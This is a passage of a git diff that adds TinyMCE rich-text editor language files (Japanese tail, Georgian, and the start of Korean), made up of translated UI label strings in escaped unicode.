...",circle:"\u767d\u4e38\uff08circle\uff09",disc:"\u9ed2\u4e38\uff08disc\uff09",square:"\u56db\u89d2\uff08square\uff09"},colors:{"333300":"\u6fc3\u3044\u30aa\u30ea\u30fc\u30d6\u8272","993300":"\u6fc3\u3044\u30aa\u30ec\u30f3\u30b8\u8272","000000":"\u9ed2\u8272","003300":"\u6fc3\u3044\u7dd1\u8272","003366":"\u6fc3\u3044\u7fa4\u9752\u8272","000080":"\u6fc3\u7d3a\u8272","333399":"\u85cd\u8272","333333":"\u3068\u3066\u3082\u6fc3\u3044\u7070\u8272","800000":"\u6817\u8272",FF6600:"\u6a59\u8272","808000":"\u30aa\u30ea\u30fc\u30d6\u8272","008000":"\u7dd1\u8272","008080":"\u7dd1\u304c\u304b\u304b\u3063\u305f\u9752\u8272","0000FF":"\u9752\u8272","666699":"\u7d0d\u6238\u8272","808080":"\u7070\u8272",FF0000:"\u8d64",FF9900:"\u7425\u73c0\u8272","99CC00":"\u9ec4\u7dd1\u8272","339966":"\u6d77\u7dd1\u8272","33CCCC":"\u9752\u7dd1\u8272","3366FF":"\u85e4\u7d2b\u8272","800080":"\u7d2b\u8272","999999":"\u4e2d\u304f\u3089\u3044\u306e\u7070\u8272",FF00FF:"\u8d64\u7d2b\u8272",FFCC00:"\u91d1\u8272",FFFF00:"\u9ec4\u8272","00FF00":"\u30e9\u30a4\u30e0\u8272","00FFFF":"\u6c34\u8272","00CCFF":"\u7a7a\u8272","993366":"\u8336\u8272",C0C0C0:"\u9280\u8272",FF99CC:"\u30d4\u30f3\u30af\u8272",FFCC99:"\u6843\u8272",FFFF99:"\u8584\u3044\u9ec4\u8272",CCFFCC:"\u6de1\u7dd1\u8272",CCFFFF:"\u6de1\u9752\u7dd1\u8272","99CCFF":"\u8584\u3044\u6c34\u8272",CC99FF:"\u6fc3\u3044\u8d64\u7d2b\u8272",FFFFFF:"\u767d\u8272"},aria:{"rich_text_area":"\u30ea\u30c3\u30c1\u30c6\u30ad\u30b9\u30c8\u30a8\u30ea\u30a2"},wordcount:{words:"\u5358\u8a9e\u306e\u6570"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/ka.js b/js/tiny_mce/langs/ka.js new file mode 100755 index 0000000..e7b73a3 --- /dev/null +++ b/js/tiny_mce/langs/ka.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ka:{common:{"more_colors":"\u10e1\u10ee\u10d5\u10d0 \u10e4\u10d4\u10e0\u10d4\u10d1\u10d8...","invalid_data":"\u10e8\u10d4\u10ea\u10d3\u10dd\u10db\u10d0: \u10e8\u10d4\u10e7\u10d5\u10d0\u10dc\u10d8\u10da\u10d8\u10d0 \u10d0\u10e0\u10d0 \u10e1\u10ec\u10dd\u10e0\u10d8 \u10db\u10dc\u10d8\u10e8\u10d5\u10dc\u10da\u10d4\u10dd\u10d1\u10d0, \u10d8\u10e1 \u10db\u10dd\u10dc\u10d8\u10e1\u10dc\u10e3\u10da\u10d8\u10d0 \u10ec\u10d8\u10d7\u10da\u10d0\u10d3.","popup_blocked":"\u0411\u043b\u043e\u043a\u0438\u0440\u0430\u0442\u043e\u0440 \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043e\u043a\u043e\u043d \u0437\u0430\u043a\u0440\u044b\u043b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435 \u043e\u043a\u043d\u043e. \u0414\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043d\u0430 \u044d\u0442\u043e\u043c \u0441\u0430\u0439\u0442\u0435.","clipboard_no_support":"\u10d0\u10e0 \u10d0\u10e5\u10d5\u10e1 \u10d7\u10e5\u10d5\u10d4\u10dc\u10d8 \u10d1\u10e0\u10d0\u10e3\u10d6\u10d4\u10e0\u10d8\u10e1 \u10db\u10ee\u10d0\u10e0\u10d3\u10d0\u10ed\u10d4\u10e0\u10d0. \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10e8\u10d4\u10db\u10dd\u10d9\u10da\u10d4\u10d1\u10d4\u10d1\u10d8.","clipboard_msg":"\u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0, \u10d0\u10db\u10dd\u10ed\u10e0\u10d0 \u10d3\u10d0 \u10e9\u10d0\u10e1\u10db\u10d0 Firefox-\u10e8\u10d8 \u10d0\u10e0 \u10db\u10e3\u10e8\u10d0\u10dd\u10d1\u10e1.\\r\n\u10d2\u10e1\u10e3\u10e0\u10d7 \u10db\u10d8\u10d8\u10e6\u10dd\u10d7 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 \u10d8\u10dc\u10e4\u10dd\u10e0\u10db\u10d0\u10ea\u10d8\u10d0?","not_set":"- \u10d0\u10e0 \u10d0\u10e0\u10d8\u10e1 \u10d3\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10e3\u10da\u10d8 -","class_name":"\u10d9\u10da\u10d0\u10e1\u10d8",browse:"\u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10d4\u10e0\u10d4\u10d1\u10d0",close:"\u10d3\u10d0\u10ee\u10e3\u10e0\u10d5\u10d0",cancel:"\u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0",update:"\u10d2\u10d0\u10dc\u10d0\u10ee\u10da\u10d4\u10d1\u10d0",insert:"\u10e9\u10d0\u10e1\u10db\u10d0",apply:"\u10d2\u10d0\u10db\u10dd\u10e7\u10d4\u10dc\u10d4\u10d1\u10d0","edit_confirm":"\u10d2\u10d0\u10db\u10dd\u10d5\u10d8\u10e7\u10d4\u10dc\u10dd\u10d7 \u10d0\u10db \u10d5\u10d4\u10da\u10d8\u10e1\u10d7\u10d5\u10d8\u10e1 WYSIWYG \u10e0\u10d4\u10df\u10d8\u10db\u10d8?","invalid_data_number":"{#field} must be a number","invalid_data_min":"{#field} must be a number greater than {#min}","invalid_data_size":"{#field} must be a number or percentage",value:"(value)"},contextmenu:{full:"\u10e1\u10d8\u10d2\u10d0\u10dc\u10d4\u10d6\u10d4",right:"\u10db\u10d0\u10e0\u10ef\u10d5\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4",center:"\u10ea\u10d4\u10dc\u10e2\u10e0\u10d6\u10d4",left:"\u10db\u10d0\u10e0\u10ea\u10ee\u10d4\u10dc\u10d0 \u10d9\u10d8\u10d3\u10d4\u10d6\u10d4",align:"\u10d2\u10d0\u10e1\u10ec\u10dd\u10e0\u10d4\u10d1\u10d0"},insertdatetime:{"day_short":"\u10d9\u10d5,\u10dd\u10e0\u10e8,\u10e1\u10d0\u10db\u10e8,\u10dd\u10d7\u10ee\u10e8,\u10ee\u10e3\u10d7,\u10de\u10d0\u10e0,\u10e8\u10d0\u10d1,\u10d9\u10d5","day_long":"\u10d9\u10d5\u10d8\u10e0\u10d0,\u10dd\u10e0\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10e1\u10d0\u10db\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10dd\u10d7\u10ee\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10ee\u10e3\u10d7\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10de\u10d0\u10e0\u10d0\u10e1\u10d9\u10d4\u10d5\u10d8,\u10e8\u10d0\u10d1\u10d0\u10d7\u10d8,\u10d9\u10d5\u10d8\u10e0\u10d0","months_short":"\u10d8\u10d0\u10dc,\u10d7\u10d4\u10d1,\u10db\u10d0\u10e0\u10e2,\u10d0\u10de\u10e0,\u10db\u10d0\u10d8\u10e1\u10d8,\u10d8\u10d5\u10dc,\u10d8\u10d5\u10da,\u10d0\u10d2\u10d5,\u10e1\u10d4\u10e5,\u10dd\u10e5\u10e2,\u10dc\u10dd\u10d4\u10db,\u10d3\u10d4\u10d9","months_long":"\u10d8\u10d0\u10dc\u10d5\u10d0\u10e0\u10d8,\u10d7\u10d4\u10d1\u10d4\u10e0\u10d5\u10d0\u10da\u10d8,\u10db\u10d0\u10e0\u10e2\u10d8,\u10d0\u10de\u10e0\u10d8\u10da\u10d8,\u10db\u10d0\u10d8\u10e1\u10d8,\u10d8\u10d5\u10dc\u10d8\u10e1\u10d8,\u10d8\u10d5\u10da\u10d8\u10e1\u10d8,\u10d0\u10d2\u10d5\u10d8\u10e1\u10e2\u10dd,\u10e1\u10d4\u10e5\u10e2\u10d4\u10db\u10d1\u10d4\u10e0\u10d8,\u10dd\u10e5\u10e2\u10dd\u10db\u10d1\u10d4\u10e0\u10d8,\u10dc\u10dd\u10d4\u10db\u10d1\u10d4\u10e0\u10d8,\u10d3\u10d4\u10d9\u10d4\u10db\u10d1\u10d4\u10e0\u10d8","inserttime_desc":"\u10d3\u10e0\u10dd\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","insertdate_desc":"\u10d7\u10d0\u10e0\u10d8\u10e6\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","time_fmt":"%H:%M:%S","date_fmt":"%d.%m.%Y"},print:{"print_desc":"\u10d1\u10d4\u10ed\u10d3\u10d5\u10d0"},preview:{"preview_desc":"\u10ec\u10d8\u10dc\u10d0\u10e1\u10ec\u10d0\u10e0\u10d8 \u10d3\u10d0\u10d7\u10d5\u10d0\u10da\u10d8\u10d4\u10e0\u10d4\u10d1\u10d0"},directionality:{"rtl_desc":"\u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","ltr_desc":"\u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d3\u10d0\u10dc \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5"},layer:{content:"\u10d0\u10ee\u10d0\u10da\u10d8 \u10e8\u10e0\u10d4","absolute_desc":"\u10d0\u10d1\u10e1\u10dd\u10da\u10e3\u10e2\u10e3\u10e0\u10d8 \u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10e0\u10d4\u10d1\u10d0","backward_desc":"\u10e3\u10d9\u10d0\u10dc\u10d0 \u10de\u10da\u10d0\u10dc\u10d6\u10d4","forward_desc":"\u10ec\u10d8\u10dc\u10d0 \u10de\u10da\u10d0\u10dc\u10d6\u10d4","insertlayer_desc":"\u10e8\u10e0\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0"},save:{"save_desc":"\u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0","cancel_desc":"\u10e7\u10d5\u10d4\u10da\u10d0 \u10ea\u10d5\u10da\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10e3\u10e5\u10db\u10d4\u10d1\u10d0"},nonbreaking:{"nonbreaking_desc":"\u10e3\u10ec\u10e7\u10d5\u10d4\u10e2\u10d8 \u10d3\u10d0\u10e8\u10dd\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0"},iespell:{download:"ieSpell \u10d0\u10e0 \u10d0\u10e0\u10d8\u10e1 \u10dc\u10d0\u10de\u10dd\u10d5\u10dc\u10d8. \u10d2\u10e1\u10e3\u10e0\u10d7 \u10d3\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10d0?","iespell_desc":"\u10dd\u10e0\u10d7\u10dd\u10d2\u10e0\u10d0\u10e4\u10d8\u10d8\u10e1 \u10e8\u10d4\u10db\u10dd\u10ec\u10db\u10d4\u10d1\u10d0"},advhr:{"advhr_desc":"\u10d2\u10d0\u10db\u10e7\u10dd\u10e4\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","delta_height":"","delta_width":""},emotions:{"emotions_desc":"\u10e1\u10db\u10d0\u10d8\u10da\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","delta_height":"","delta_width":""},searchreplace:{"replace_desc":"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","search_desc":"\u10de\u10dd\u10d5\u10dc\u10d0","delta_width":"","delta_height":""},advimage:{"delta_width":"200","image_desc":"\u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10ee\u10e3\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","delta_height":""},advlink:{"delta_width":"200","link_desc":"\u10d1\u10db\u10e3\u10da\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","delta_height":""},xhtmlxtras:{"attribs_desc":"\u10d4\u10da\u10d4\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","ins_desc":"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0","del_desc":"\u10ec\u10d0\u10e8\u10da\u10d0","acronym_desc":"\u10d0\u10d1\u10e0\u10d4\u10d5\u10d8\u10d0\u10ea\u10d8\u10d0","abbr_desc":"\u10e8\u10d4\u10db\u10dd\u10d9\u10da\u10d4\u10d1\u10d0","cite_desc":"\u10ea\u10d8\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","attribs_delta_height":"","attribs_delta_width":"","ins_delta_height":"","ins_delta_width":"","del_delta_height":"","del_delta_width":"","acronym_delta_height":"","acronym_delta_width":"","abbr_delta_height":"","abbr_delta_width":"","cite_delta_height":"","cite_delta_width":""},style:{desc:"CSS \u10e1\u10e2\u10d8\u10da\u10d8\u10e1 \u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","delta_height":"","delta_width":""},paste:{"plaintext_mode":"Paste is now in plain text mode. Click again to toggle back to regular paste mode.","plaintext_mode_sticky":"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.","selectall_desc":"\u10e2\u10d5\u10d4\u10da\u10d0\u10e4\u10e0\u10d8\u10e1 \u10db\u10dd\u10dc\u10d8\u10e8\u10d5\u10dc\u10d0","paste_word_desc":"Word-\u10d8\u10d3\u10dc \u10e9\u10d0\u10e1\u10db\u10d0","paste_text_desc":"\u10e9\u10d0\u10e1\u10d5\u10d8 \u10e0\u10dd\u10d2\u10dd\u10e0\u10ea \u10e2\u10d4\u10e5\u10e1\u10e2\u10d8"},"paste_dlg":{"word_title":"\u0418\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10d0\u10e1\u10db\u10d4\u10da\u10d0\u10d3 \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d0 CTRL+V.","text_linebreaks":"\u10d2\u10d0\u10d3\u10d0\u10e2\u10d0\u10dc\u10d8\u10da\u10d8 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d4\u10d1\u10d8\u10e1 \u10e8\u10d4\u10dc\u10d0\u10ee\u10d5\u10d0","text_title":"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10e9\u10d0\u10e1\u10d0\u10e1\u10db\u10d4\u10da\u10d0\u10d3 \u10d2\u10d0\u10db\u10dd\u10d8\u10e7\u10d4\u10dc\u10d4\u10d7 \u10d9\u10da\u10d0\u10d5\u10d8\u10d0\u10e2\u10e3\u10e0\u10e3\u10da\u10d8 \u10d9\u10dd\u10db\u10d1\u10d8\u10dc\u10d0\u10ea\u10d8\u10d0 CTRL+V."},table:{"cellprops_delta_width":"30",cell:"\u10e3\u10ef\u10e0\u10d0",col:"\u10e1\u10d5\u10d4\u10e2\u10d8",row:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8",del:"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0","copy_row_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d9\u10dd\u10de\u10d8\u10e0\u10d4\u10d1\u10d0","cut_row_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d0\u10db\u10dd\u10ed\u10e0\u10d0","paste_row_after_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10e5\u10d5\u10d4\u10db\u10dd\u10d7 \u10d3\u10d0\u10db\u10d4\u10e2\u10d4\u10d1\u10d0","paste_row_before_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d6\u10d4\u10db\u10dd\u10d7 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","props_desc":"\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d8\u10d4\u10d1\u10d8","cell_desc":"\u10e3\u10ef\u10e0\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","row_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","merge_cells_desc":"\u10e3\u10ef\u10e0\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10d4\u10e0\u10d7\u10d8\u10d0\u10dc\u10d4\u10d1\u10d0","split_cells_desc":"\u10e3\u10ef\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e7\u10dd\u10e4\u10d0","delete_col_desc":"\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0","col_after_desc":"\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ef\u10d5\u10dc\u10d8\u10d5","col_before_desc":"\u10e1\u10d5\u10d4\u10e2\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0 \u10db\u10d0\u10e0\u10ea\u10ee\u10dc\u10d8\u10d5","delete_row_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10ec\u10d0\u10e8\u10da\u10d0","row_after_desc":"\u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0 \u10e5\u10d5\u10d4\u10db\u10dd\u10d7","row_before_desc":"\u10e1\u10e2\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0 \u10d6\u10d4\u10db\u10dd\u10d7",desc:"\u10ea\u10ee\u10e0\u10d8\u10da\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","merge_cells_delta_height":"","merge_cells_delta_width":"","table_delta_height":"","table_delta_width":"","cellprops_delta_height":"","rowprops_delta_height":"","rowprops_delta_width":""},autosave:{"warning_message":"\u10e7\u10d5\u10d4\u10da\u10d0 \u10ea\u10d5\u10da\u10d8\u10da\u10d4\u10d1\u10d0 \u10d8\u10e5\u10dc\u10d4\u10d1\u10d0 \u10d3\u10d0\u10d9\u10d0\u10e0\u10d2\u10e3\u10da\u10d8.\n\n\u10d2\u10d0\u10dc\u10d5\u10d0\u10d2\u10e0\u10eb\u10dd\u10d7 \u10d0\u10d5\u10e0\u10dd\u10db\u10d0\u10e2\u10e3\u10e0\u10d0\u10d3 \u10d3\u10d0\u10db\u10d0\u10ee\u10e1\u10dd\u10d5\u10e0\u10d4\u10d1\u10e3\u10da\u10d8\u10e1 \u10d0\u10e6\u10d3\u10d2\u10d4\u10dc\u10d0?","restore_content":"\u10d0\u10d5\u10e2\u10dd\u10db\u10d0\u10e2\u10e3\u10e0\u10d0\u10d3 \u10d3\u10d0\u10db\u10d0\u10ee\u10e1\u10dd\u10d5\u10e0\u10d4\u10d1\u10e3\u10da\u10d8\u10e1 \u10d0\u10e6\u10d3\u10d2\u10d4\u10dc\u10d0","unload_msg":"\u10d7\u10e3 \u10d7\u10e5\u10d5\u10d4\u10dc \u10d3\u10d0\u10e2\u10dd\u10d5\u10d4\u10d1\u10d7 \u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da \u10d2\u10d5\u10d4\u10e0\u10d3\u10e1, \u10e7\u10d5\u10d4\u10da\u10d0 \u10ea\u10d5\u10da\u10d8\u10da\u10d4\u10d1\u10d0 \u10d8\u10e5\u10dc\u10d4\u10d1\u10d0 \u10d3\u10d0\u10d9\u10d0\u10e0\u10d2\u10e3\u10da\u10d8."},fullscreen:{desc:"\u10e1\u10e0\u10e3\u10da\u10d4\u10d9\u10e0\u10d0\u10dc\u10d8\u10d0\u10dc\u10d8 \u10e0\u10d4\u10df\u10d8\u10db\u10d8"},media:{edit:"\u10d9\u10da\u10d8\u10d9\u10d8\u10e1 \u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8",desc:"\u10d9\u10da\u10d8\u10de\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0/\u10e0\u10d4\u10d3\u10d0\u10e5\u10e2\u10d8\u10e0\u10d4\u10d1\u10d0","delta_height":"","delta_width":""},fullpage:{desc:"\u10d3\u10dd\u10d9\u10e3\u10db\u10d4\u10dc\u10e2\u10d8\u10e1 \u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","delta_width":"","delta_height":""},template:{desc:"\u10e8\u10d0\u10d1\u10da\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e7\u10d4\u10dc\u10d4\u10d1\u10d0"},visualchars:{desc:"\u10e7\u10d5\u10d4\u10da\u10d0 \u10dc\u10d8\u10e8\u10d0\u10dc\u10d8"},spellchecker:{desc:"\u10db\u10d0\u10e0\u10d7\u10da\u10ec\u10d4\u10e0\u10d0",menu:"\u10db\u10d0\u10e0\u10d7\u10da\u10ec\u10d4\u10e0\u10d8\u10e1 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d8","ignore_word":"\u10d2\u10d0\u10db\u10dd\u10d5\u10e2\u10dd\u10d5\u10dd\u10d7","ignore_words":"\u10d2\u10d0\u10db\u10dd\u10d5\u10e2\u10dd\u10d5\u10dd\u10d7 \u10e7\u10d5\u10d4\u10da\u10d0",langs:"\u10d4\u10dc\u10d4\u10d1\u10d8",wait:"\u10d2\u10d7\u10ee\u10dd\u10d5\u10d7, \u10d3\u10d0\u10d8\u10ea\u10d0\u10d3\u10dd\u10d7...",sug:"\u10d5\u10d0\u10e0\u10d8\u10d0\u10dc\u10e2\u10d4\u10d1\u10d8","no_sug":"\u10e3\u10d5\u10d0\u10e0\u10d8\u10d0\u10dc\u10e2\u10dd\u10d7","no_mpell":"\u10e8\u10d4\u10ea\u10d3\u10dd\u10db\u10d4\u10d1\u10d8 \u10d0\u10e6\u10db\u10dd\u10e9\u10d4\u10dc\u10d8\u10da\u10d8 \u10d0\u10e0 \u10d8\u10e7\u10dd.","learn_word":"Learn word"},pagebreak:{desc:"\u10d2\u10d5\u10d4\u10e0\u10d3\u10d8\u10e1 \u10d2\u10d0\u10db\u10e7\u10dd\u10e4\u10d8\u10e1 \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0"},advlist:{types:"\u10e1\u10d8\u10db\u10d1\u10dd\u10da\u10dd\u10d4\u10d1\u10d8",def:"\u10e1\u10e2\u10d0\u10dc\u10d3\u10d0\u10e0\u10e2\u10e3\u10da\u10d8","lower_alpha":"\u10dc\u10e3\u10e1\u10ee\u10e3\u10e0\u10d8 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8","lower_greek":"\u10dc\u10e3\u10e1\u10ee\u10e3\u10e0\u10d8 \u10d1\u10d4\u10e0\u10eb\u10dc\u10e3\u10da\u10d8 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8","lower_roman":"\u10dc\u10e3\u10e1\u10ee\u10e3\u10e0\u10d8 \u10da\u10d0\u10d7\u10d8\u10dc\u10e3\u10e0\u10d8 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8","upper_alpha":"\u10d0\u10e1\u10dd\u10db\u10d7\u10d0\u10d5\u10e0\u10e3\u10da\u10d8 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8","upper_roman":"\u10d0\u10e1\u10dd\u10db\u10d7\u10d0\u10d5\u10e0\u10e3\u10da\u10d8 \u10da\u10d0\u10d7\u10d8\u10dc\u10e3\u10e0\u10d8 \u10d0\u10e1\u10dd\u10d4\u10d1\u10d8",circle:"\u10ec\u10e0\u10d4\u10d4\u10d1\u10d8",disc:"\u10d3\u10d8\u10e1\u10d9\u10d4\u10d1\u10d8",square:"\u10d9\u10d5\u10d0\u10d3\u10e0\u10d0\u10e2\u10d4\u10d1\u10d8"},colors:{"333300":"Dark olive","993300":"Burnt orange","000000":"Black","003300":"Dark green","003366":"Dark azure","000080":"Navy Blue","333399":"Indigo","333333":"Very dark gray","800000":"Maroon",FF6600:"Orange","808000":"Olive","008000":"Green","008080":"Teal","0000FF":"Blue","666699":"Grayish blue","808080":"Gray",FF0000:"Red",FF9900:"Amber","99CC00":"Yellow green","339966":"Sea green","33CCCC":"Turquoise","3366FF":"Royal blue","800080":"Purple","999999":"Medium gray",FF00FF:"Magenta",FFCC00:"Gold",FFFF00:"Yellow","00FF00":"Lime","00FFFF":"Aqua","00CCFF":"Sky blue","993366":"Brown",C0C0C0:"Silver",FF99CC:"Pink",FFCC99:"Peach",FFFF99:"Light yellow",CCFFCC:"Pale green",CCFFFF:"Pale cyan","99CCFF":"Light sky blue",CC99FF:"Plum",FFFFFF:"White"},aria:{"rich_text_area":"Rich Text Area"},wordcount:{words:"Words"}}}); \ No newline at end of file diff --git a/js/tiny_mce/langs/ko.js b/js/tiny_mce/langs/ko.js new file mode 100755 index 0000000..b84a1b3 --- /dev/null +++ b/js/tiny_mce/langs/ko.js @@ -0,0 +1 @@ +tinyMCE.addI18n({ko:{common:{"more_colors":"\uadf8 \uc678\uc758 \uc0c9","invalid_data":"\uc5d0\ub7ec: \uc720\ud6a8\ud558\uc9c0 \uc54a\ub294 \uae00\uc790\uac00 \uc788\uc2b5\ub2c8\ub2e4. \ube68\uac04\uc0c9\uc73c\ub85c \ud45c\uc2dc\ub429\ub2c8\ub2e4.","popup_blocked":"\ud31d\uc5c5\uc774 \ucc28\ub2e8\ub418\uc5c8\uc2b5\ub2c8\ub2e4. \ubaa8\ub4e0 \uae30\ub2a5\uc744 \uc774\uc6a9\ud558\uc2dc\uae30 \uc704\ud574\uc11c\ub294 \ud31d\uc5c5\ucc28\ub2e8\uc744 \ud574\uc81c\ud574 \uc8fc\uc138\uc694.","clipboard_no_support":"\uc774 \uae30\ub2a5\uc740 \ube0c\ub77c\uc6b0\uc800\uc5d0 \uc758\ud574 \uc81c\ud55c\ub418\uace0 \uc788\uc2b5\ub2c8\ub2e4. \ub2e8\ucd95\ud0a4\uc744 \uc774\uc6a9\ud558\uc2ed\uc2dc\uc624.","clipboard_msg":"\ubcf5\uc0ac/\uc798\ub77c\ub0b4\uae30/\ubd99\uc774\uae30\ub294 Mozilla \ubc0fFirefox \uc5d0\uc11c \uc0ac\uc6a9\ub418\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.\n\uc0c1\uc138\uc815\ubcf4\ub97c \ud45c\uc2dc\ud569\ub2c8\uae4c?","not_set":"-- \uc5c6\uc74c --","class_name":"\ud074\ub798\uc2a4",browse:"\ube0c\ub77c\uc6b0\uc988",close:"\ub2eb\uae30",cancel:"\ucde8\uc18c",update:"\uac31\uc2e0",insert:"\uc0bd\uc785",apply:"\uc801\uc6a9","edit_confirm":"WYSIWYG\ubaa8\ub4dc\ub85c \uc804\ud658\ud569\ub2c8\uae4c?","invalid_data_number":"{#field}\ub294 \uc22b\uc790\uc5ec\uc57c 